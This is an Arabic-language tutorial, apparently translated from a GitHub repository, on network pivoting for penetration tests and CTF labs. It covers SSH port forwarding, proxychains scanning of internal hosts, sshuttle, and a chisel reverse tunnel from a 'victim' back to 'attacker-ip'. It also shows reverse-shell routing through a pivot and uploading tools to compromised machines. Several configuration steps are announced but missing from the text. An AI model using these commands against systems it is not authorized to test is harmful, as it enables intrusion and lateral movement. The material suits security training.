t3l3machus/pentest-pivotingدليل موجز حول التنقّل في الشبكة (Network Pivoting) لاختبارات الاختراق / تحديات CTF.
لا تستخدم طلبات صدى ICMP (ping) لاختبار وكلاء SOCKS.
SOCKS هو بروتوكول إنترنت يتبادل حزم الشبكة بين العميل والخادم عبر خادم وكيل. عمليًا، يقوم خادم SOCKS بتوجيه اتصالات TCP إلى عنوان IP عشوائي، ويوفر وسيلة لإعادة توجيه حزم UDP. يجب اختباره باستخدام بروتوكول قائم على TCP (مثل محاولة SSH أو إرسال طلب HTTP GET إلى مضيف عبر نفق التنقل).
يجب استخدام NMAP مع فحص اتصال TCP (-sT) وبدون ping (-Pn)
ينطبق هذا أيضًا على فحص الإصدار (-sV) وفحص السكربتات (-sC). يجب استخدامها مع -sT و -Pn.
أمثلة:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
نصيحة: يمكنك رفع naabu إلى الجهاز الضحية والمسح باحترافية.
استخدام السكربتات والملفات الثنائية مع proxychains
نصيحة عند استخدام proxychains هي التأكد من أنه إذا كنت تشغل برنامجًا مفسرًا (مثل سكربت Python)، فمن الجيد الإشارة صراحةً إلى ملف Python الثنائي قبل ذلك السكربت، حتى لو كان السكربت يبدأ بـ hash bang، على سبيل المثال:
proxychains4 [-q -f proxychains.conf] python python_script.py
بدون هذه الإشارة المحددة إلى مفسر السكربت، قد يفشل أحيانًا توجيه حركة المرور الناتجة عن السكربت عبر الوكيل كما قصدت، وسيفشل اتصال الشبكة. مصدر النصيحة
قم بإلغاء تعليق سطر "quite mode" في /etc/proxychains.conf لتجنب مخرجات stdout التي قد تكون مزعجة في بعض الأحيان.
هذا مجرد اقتراح.
يسمح لك بإنشاء socket على الجهاز المحلي (عميل ssh)، والذي يعمل كخادم وكيل SOCKS. عندما يتصل عميل بهذا المنفذ، يتم إعادة توجيه الاتصال إلى الجهاز البعيد (خادم ssh)، ثم يتم إعادة توجيهه إلى منفذ ديناميكي على الجهاز الهدف.
طريقة الإعداد:
عدّل /etc/proxychains.conf ونفّذ ما يلي:
قم بإعداد إعادة توجيه المنافذ الديناميكية عبر SSH:
ssh -D 127.0.0.1:9050 user@victim-IP
أمثلة الاستخدام:
حيث x.x.x.x هو عنوان IP لمضيف ينتمي إلى الشبكة التي تم إنشاء النفق إليها:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
لاستخدام Firefox عبر النفق:
proxychains firefox
إذا كنت تبحث عن طريقة للحصول على صدفة عكسية عبر نفق تنقل، فهذا ما تحتاجه. يتيح لك إعادة توجيه منفذ على الجهاز البعيد (الضحية) إلى منفذ على الجهاز المحلي (المهاجم).
طريقة الإعداد:
ادخل عبر SSH إلى الجهاز الضحية.
عدّل /etc/ssh/sshd_config ونفّذ ما يلي:
*هذا مهم جدًا والعديد من الأدلة على الإنترنت لا تذكره. إذا لم تفعل ذلك، ستتمكن فقط من ضبط النفق على 127.0.0.1 بدلاً من 0.0.0.0، مما سيؤدي إلى عدم إعادة توجيه حركة المرور القادمة من أي مضيف باستثناء المضيف المحلي.
sudo service ssh restartقم بإعداد إعادة توجيه المنافذ عن بُعد عبر SSH:
بشكل أساسي، بعد إعداده كما ذُكر، يكون الأمر ببساطة كما يلي:
ssh -R 2222:*:2222 user@victim-IP
من أجل اختبار ما إذا كان يعمل، يمكنك القيام بما يلي:
قم بإعداد مستمع (مثل netcat) على جهاز المهاجم (على المنفذ الذي قمت بتكوين إعادة التوجيه البعيد عليه، في هذا المثال 2222) وأرسل طلبًا من الجهاز الضحية إلى نفسه (localhost). في هذا المثال، سيكون ذلك nc 127.0.0.1 2222. إذا استلم جهاز المهاجم الاتصال، فهذا يعني أن أ) الأمر يعمل و ب) كل اتصال من مضيفات التنقل إلى victimip:2222 سيتم إعادة توجيهه إلى جهاز المهاجم.
يمكنك ضبط منافذ متعددة بهذه الطريقة:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
تحذير: يجب توجيه الطلبات القادمة من المضيفات الخارجية (شبكة التنقل) إلى عنوان IP الخاص بالضحية حتى يتم إعادة توجيهها مرة أخرى إلى جهاز المهاجم.
*يمكنك أيضًا تنفيذ إعادة توجيه المنافذ عن بُعد عبر اتصال SSH من الجهاز الضحية إلى جهاز المهاجم.
تتيح لك إعادة توجيه المنافذ المحلية إعادة توجيه منفذ على الجهاز المحلي (المهاجم) إلى منفذ على الجهاز البعيد (الضحية). وهي مفيدة بشكل خاص لفحص المنافذ المحلية على الضحية.
الاستخدام:
ssh user@victim-IP -L 8888:127.0.0.1:8086
يمكنك الآن استخدام nmap على سبيل المثال لفحص المنفذ 8086 على الجهاز الضحية بهذه الطريقة:
nmap -Pn -n -p8888 -sV 127.0.0.1
مثال على كيفية تنفيذ التنقل المزدوج باستخدام إعادة توجيه المنافذ الديناميكية عبر SSH و Proxychains.
المفهوم:
لنفترض أن لدينا الأجهزة الأربعة التالية.
| IP | الدور |
|---|---|
| 10.10.10.10 | المهاجم |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
يستطيع المهاجم الوصول إلى Jumphost1.
يستطيع Jumphost1 الوصول إلى Jumphost2.
يستطيع Jumphost2 الوصول إلى Jumphost3.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
يجب أن تكون الآن قادرًا على الوصول إلى Jumphost3.
يتيح لك sshuttle إنشاء اتصال VPN من جهازك إلى أي خادم بعيد عبر ssh، طالما أن هذا الخادم يحتوي على python 2.3 أو أحدث. لكي يعمل، يجب أن تملك صلاحيات root على الجهاز المحلي، لكن يمكنك أن تملك حسابًا عاديًا على الخادم. من الممكن تشغيل sshuttle أكثر من مرة في نفس الوقت على جهاز عميل واحد، مع الاتصال بخادم مختلف في كل مرة، وبالتالي يمكنك أن تكون على أكثر من VPN في وقت واحد. راجع مستودع sshuttle على جيثب.
الاستخدام:
بافتراض أننا نريد التنقل إلى 172.16.2.0/16:
sshuttle -vvr root@victim 172.16.2.0/16
إذا أردت استخدام مفتاح ssh:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chisel هو نفق TCP/UDP سريع، يُنقل عبر HTTP، ومؤمَّن عبر SSH. ملف تنفيذي واحد يتضمن كلاً من العميل والخادم. مكتوب بلغة Go (golang). إنه رائع ومفيد بشكل لا يصدق.
التثبيت:
يمكنك تثبيت chisel بسهولة على kali:
apt install chisel
لاستخدامه، تحتاج أيضًا إلى رفع ملف chisel الثنائي إلى الجهاز الضحية. يمكنك تنزيل الإصدارات المترجمة مسبقًا هنا.
مثال على إعادة توجيه المنافذ محليًا
على جهاز المهاجم:
chisel server -p 8000 --reverse
على الجهاز الضحية:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
سيؤدي هذا إلى إعادة توجيه حركة المرور من المنفذ 1234 على جهاز المهاجم إلى المنفذ 8443 على الجهاز الضحية.
يدعم Burpsuite إمكانية إعداد الوكلاء (Proxies)، وهي ميزة مفيدة وقوية بشكل لا يصدق.
طريقة الإعداد:
شغّل Burpsuite ونفّذ ما يلي:
بالتوافق مع إعداد إعادة توجيه المنافذ الديناميكية عبر SSH أو sshuttle، يمكنك الآن استخدام Burpsuite لتمرير حركة المرور إلى المضيفين المطلوبين عن طريق إرسال حركة المرور إلى منفذ الربط على localhost. مثال مفيد مع gobuster لفحص الدلائل عبر النفق (بافتراض أنك عيّنت المنفذ 2222 كمنفذ إعادة التوجيه):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt